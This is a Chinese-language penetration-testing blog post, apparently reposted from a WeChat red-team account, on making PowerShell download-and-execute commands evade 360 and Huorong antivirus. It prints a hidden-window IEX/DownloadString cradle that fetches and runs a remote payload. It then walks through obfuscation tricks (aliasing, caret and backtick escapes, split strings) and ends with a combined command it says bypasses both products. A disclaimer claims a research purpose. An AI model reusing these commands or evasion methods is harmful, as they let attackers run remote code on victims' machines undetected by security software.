0x01 前言
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.190.128:80/a'))"
现在powershell指令一般都会被拦截,且不说.ps1现在能不能过免杀,这次我们先来讨论powershell加载命令能否Bypass_AV
对于这种一句话,我们需要去思考!
0x02 官方文档
我们先去官网查看相关的文档
文档:
-
https://docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.1
-
https://docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_aliases?view=powershell-7.1
-
https://docs.microsoft.com/zh-cn/powershell/scripting/developer/cmdlet/required-development-guidelines?view=powershell-7.1
0x03 准备 && 思路
环境:Powershell 5
测试免杀环境:Windows 10
杀软:360 && 火绒
测试时间:2021年9月7日
将进行免杀的时候,我们需要思考一下思路都有什么?
-
大小写绕过 -
管道符 -
修改函数名 -
命令拆分 -
反引号处理
Tip:
进行Powershell命令绕过,我们可以先了解WEB方面的远程命令执行以及它的各种Bypass姿势,有助于我们对Powershell加载命令进行免杀
0x04 开始爬坑
大小写
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.190.128:80/a'))"
通过对整个语句进行大小写
,看看能不能Bypass_AV
修改后:
0x05 组合拳
将上面的思路组合在一起来进行绕过
Powershell:
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19’+'2.168.190.12'+'8/a') | p^o^w^e^r^s^h^e^l^l -
直接起飞,
360 && 火绒
直接绕过执行命令
0x06 结尾
对于Powershell加载命令
来说,多阅读官方文档肯定是没错的,多了解几个函数,几个功能!对于我们进行免杀是有莫大帮助的。方法肯定不止局限于我列举的这几种,推荐公众号 @XG小刚
本文也以这个为参考。
本文始发于微信公众号(渗透攻击红队):Bypass_AV - Powershell命令免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论